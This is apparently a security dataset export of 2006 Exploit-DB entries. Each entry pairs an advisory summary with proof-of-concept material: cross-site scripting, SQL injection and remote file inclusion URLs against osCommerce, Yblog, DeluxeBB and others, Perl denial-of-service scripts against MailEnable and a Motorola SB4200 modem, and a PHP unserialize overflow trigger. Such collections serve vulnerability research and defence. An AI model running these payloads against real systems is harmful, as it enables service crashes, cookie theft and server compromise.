QLWD/code_shield huggingface dataset:
标题: osCommerce 2.2 - '/admin/products_attributes.php?page' Cross-Site Scripting EDB-ID: 28751 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
       
osCommerce is prone to multiple cross-site scripting vulnerabilities.
       
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/catalog/admin/products_attributes.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28751
标题: osCommerce 2.2 - '/admin/specials.php?page' Cross-Site Scripting EDB-ID: 28754 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
          
osCommerce is prone to multiple cross-site scripting vulnerabilities.
          
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/specials.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28754
标题: osCommerce 2.2 - '/admin/tax_rates.php?page' Cross-Site Scripting EDB-ID: 28758 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
              
osCommerce is prone to multiple cross-site scripting vulnerabilities.
              
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
         
http://www.example.com/catalog/admin/tax_rates.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28758
标题: osCommerce 2.2 - '/admin/tax_classes.php?page' Cross-Site Scripting EDB-ID: 28757 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
             
osCommerce is prone to multiple cross-site scripting vulnerabilities.
             
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
        
http://www.example.com/catalog/admin/tax_classes.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28757
标题: osCommerce 2.2 - '/admin/languages.php?page' Cross-Site Scripting EDB-ID: 28747 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
   
osCommerce is prone to multiple cross-site scripting vulnerabilities.
   
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/catalog/admin/languages.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28747
标题: osCommerce 2.2 - '/admin/stats_products_viewed.php?page' Cross-Site Scripting EDB-ID: 28756 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
            
osCommerce is prone to multiple cross-site scripting vulnerabilities.
            
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
http://www.example.com/catalog/admin/stats_products_viewed.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28756
标题: osCommerce 2.2 - '/admin/newsletters.php?page' Cross-Site Scripting EDB-ID: 28749 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
     
osCommerce is prone to multiple cross-site scripting vulnerabilities.
     
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/catalog/admin/newsletters.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28749
标题: osCommerce 2.2 - '/admin/orders_status.php?page' Cross-Site Scripting EDB-ID: 28750 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
      
osCommerce is prone to multiple cross-site scripting vulnerabilities.
      
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
http://www.example.com/catalog/admin/orders_status.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28750
标题: PHP 3 < 5 - ZendEngine ECalloc Integer Overflow EDB-ID: 28760 CVE: 2006-4812 类型: REMOTE 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/20349/info

PHP is prone to an integer-overflow vulnerability because the application fails to do proper bounds checking on user-supplied data.

An attacker can exploit this vulnerability to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

<?

 print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
?>

in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
here segfault in zend_hash_find() but it's possible to fake the bucket and
exploit a zend_hash_del_index_or_key
i tried a memory dump , just fake the bucked with the pointer of the
$GLOBALS's bucket but segfault before in memory_shutdown... URL: https://www.exploit-db.com/exploits/28760
标题: osCommerce 2.2 - '/admin/currencies.php?page' Cross-Site Scripting EDB-ID: 28746 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
  
osCommerce is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/catalog/admin/currencies.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28746
标题: osCommerce 2.2 - '/admin/countries.php?page' Cross-Site Scripting EDB-ID: 28745 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
  
osCommerce is prone to multiple cross-site scripting vulnerabilities.
  
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/catalog/admin/countries.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28745
标题: osCommerce 2.2 - '/admin/banner_statistics.php?page' Cross-Site Scripting EDB-ID: 28744 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info
 
osCommerce is prone to multiple cross-site scripting vulnerabilities.
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/catalog/admin/banner_statistics.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28744
标题: osCommerce 2.2 - '/admin/banner_manager.php?page' Cross-Site Scripting EDB-ID: 28743 CVE: 2006-5190 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20343/info

osCommerce is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/catalog/admin/banner_manager.php?page=1[XSS-code] URL: https://www.exploit-db.com/exploits/28743
标题: ASPPlayGround.NET Forum 2.4.5 - 'Calendar.asp' Cross-Site Scripting EDB-ID: 28742 CVE: 2006-4206 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/20335/info

ASPPlayground.NET Forum Advanced Edition is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.4.5 is vulnerable; other versions may also be affected.

www.example.com/forum/calendar.asp?calendarID=[Xss] URL: https://www.exploit-db.com/exploits/28742
标题: Digishop 4.0 - 'cart.php' Cross-Site Scripting EDB-ID: 28738 CVE: 2006-5164 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/20297/info

digiSHOP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

This issue affects version 4.0.0; other versions may also be vulnerable.

http://www.example.com/shopping-cart-software/cart.php?m=product_list&pageNumber=&c=190&v=[&sortBy=[xss]&search=[xss] URL: https://www.exploit-db.com/exploits/28738
标题: MailEnable 2.x - SMTP NTLM Multiple Authentication Vulnerabilities EDB-ID: 28735 CVE: 2006-5177 类型: DOS 平台: WINDOWS 发布日期: 2006-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/20290/info

MailEnable is prone to multiple remote vulnerabilities. 

These issues arise in the SMTP server during NTLM authentication and may facilitate arbitrary code execution or denial-of-service conditions.

MailEnable Professional 2.0 and MailEnable Enterprise 2.0 are reported vulnerable to these issues.

#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
#              Mail Enable Professional v2.33 (win32)
#              Mail Enable Professional v2.34 (win32)
#              Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 12).
           "\xfa\xff\xff\xff".
           ($PAD x 12);
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    $buf = ($PAD x 28).
           "\x00\x01".
           ($PAD x 2).
           "\xef\xbe\xad\xde";
    send(SOCKET, encode_base64($buf)."\r\n", 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("MailEnable Pro <=v2.36 DoS POC\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
} URL: https://www.exploit-db.com/exploits/28735
标题: Yblog - 'tem.php' Cross-Site Scripting EDB-ID: 28733 CVE: 2006-5146 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20280/info
 
Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com[path]/tem.php?action="><script>alert('test!')</script>< URL: https://www.exploit-db.com/exploits/28733
标题: PHP Web Scripts Easy Banner - 'functions.php' Remote File Inclusion EDB-ID: 28737 CVE: 2006-5166 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/20295/info

Easy Banner is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Easy Banner Free is vulnerable; other versions may also be affected.

http://www.example.com/[ path ]/functions.php?s[phppath]=[shell URL: https://www.exploit-db.com/exploits/28737
标题: Yblog - 'uss.php' Cross-Site Scripting EDB-ID: 28734 CVE: 2006-5146 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20280/info
  
Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/[path]/uss.php?action="><script>alert('test!')</script> URL: https://www.exploit-db.com/exploits/28734
标题: DeluxeBB 1.09 - 'Sig.php' Remote File Inclusion EDB-ID: 28736 CVE: 2006-5154 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/20292/info

DeluxeBB is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.09; other versions may also be vulnerable.

http://www.example.com/templates/deluxe/cp/sig.php?settings[smilies]=on&templatefolder=[file]%00 URL: https://www.exploit-db.com/exploits/28736
标题: Yblog - 'funk.php' Cross-Site Scripting EDB-ID: 28732 CVE: 2006-5146 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20280/info

Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[path]/funk.php?id="><script>alert('test!')</script>< URL: https://www.exploit-db.com/exploits/28732
标题: Motorola SB4200 - Remote Denial of Service EDB-ID: 28739 CVE: 2006-5196 类型: DOS 平台: HARDWARE 发布日期: 2006-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20309/info

Motorola SB4200 is prone to a remote denial-of-service vulnerability.

This may permit an attacker to crash affected devices, denying further network services to legitimate users.

#!/usr/bin/perl -w
###################################################
# Remote Motorola SB4200 DoS attack.              #
# By Dave Gil.                                    # 
# Infosec Labs                                    #
###################################################

use strict; 
use HTTP::Request::Common qw (POST GET); 
use LWP::UserAgent; 
my $ua = LWP::UserAgent->new(); 
my $url = "http://192.168.100.1/"; 
my $req = $ua->post( $url, [MfcISAPICommand => 'SecretProc', Secret => 'A' x int rand(4000)]);

print "The DoS has been sent.";
exit(); URL: https://www.exploit-db.com/exploits/28739
标题: OlateDownload 3.4 - 'details.php?page' SQL Injection EDB-ID: 28730 CVE: 2006-5145 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/20278/info

OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to inject hostile HTML and script code into vulnerable sections of the application, steal cookie-based authentication credentials from legitimate users of the site, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

OlateDownload version 3.4.0 is vulnerable.

http://www.example.com/details.php?page=%BF%27%22%28&file=1 URL: https://www.exploit-db.com/exploits/28730
标题: OlateDownload 3.4 - 'search.php?query' SQL Injection EDB-ID: 28731 CVE: 2006-5145 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/20278/info
 
OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to inject hostile HTML and script code into vulnerable sections of the application, steal cookie-based authentication credentials from legitimate users of the site, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
OlateDownload version 3.4.0 is vulnerable.

http://www.example.com/search.php?query=%BF%27%22%28 URL: https://www.exploit-db.com/exploits/28731
标题: Geotarget - 'script.php' Remote File Inclusion EDB-ID: 28728 CVE: 2006-5141 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/20272/info

Geotarget is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/geotarget/script.php?anp_path=http://www.example.com? URL: https://www.exploit-db.com/exploits/28728
标题: Red Mombin 0.7 - 'process_login.php' Cross-Site Scripting EDB-ID: 28722 CVE: 2006-5120 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/20243/info
 
Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Red Mombin version 0.7 is vulnerable to these issues.

http://www.example.com/[PATH]/process_login.php URL: https://www.exploit-db.com/exploits/28722
标题: SAP Internet Transaction Server 6.10/6.20 - Cross-Site Scripting EDB-ID: 28725 CVE: 2006-5114 类型: REMOTE 平台: MULTIPLE 发布日期: 2006-09-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/20244/info

SAP Internet Transaction Server (ITS) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue would allow an attacker to steal cookie-based credentials and to launch other attacks.

Versions 6.1 and 6.2 are reportedly vulnerable; other versions may also be affected.

http://www.example.com/scripts/wgate/!?~urlmime=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Cimg%20src=%22 URL: https://www.exploit-db.com/exploits/28725
标题: Joomla! Component VirtueMart Joomla! eCommerce Edition 1.0.11 - Multiple Input Validation Vulnerabilities EDB-ID: 28719 CVE: 2006-5096 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/20236/info

VirtueMart Joomla eCommerce Edition is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

VirtueMart Joomla eCommerce Edition version 1.0.11 is vulnerable; earlier versions may also be vulnerable.

GET: http://www.example.com/index.php
option=com_contact&Itemid="><script>alert('XSS');</script>
POST: http://www.example.com/index.php
subscriber_name=1&email=1&task=subscribe&Itemid="><script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/28719
标题: Red Mombin 0.7 - 'index.php' Cross-Site Scripting EDB-ID: 28721 CVE: 2006-5120 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/20243/info

Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Red Mombin version 0.7 is vulnerable to these issues.

http://www.example.com/[PATH]/index.php URL: https://www.exploit-db.com/exploits/28721
标题: MKPortal 1.0/1.1 - 'PMPopup.php' Cross-Site Scripting EDB-ID: 28716 CVE: 2006-2066 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/20232/info

MKPortal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MKPortal 1.1 R1 and previous versions are vulnerable; other versions may also be affected.

http://www.example.com/mkportal/include/pmpopup.php?u1=www.c-group.org&m1=<script>alert(document.cookie)</script>&m2=<h1>h4x0r3d</h1>&m3=by&m4=<h1>HANOWARS</h1> URL: https://www.exploit-db.com/exploits/28716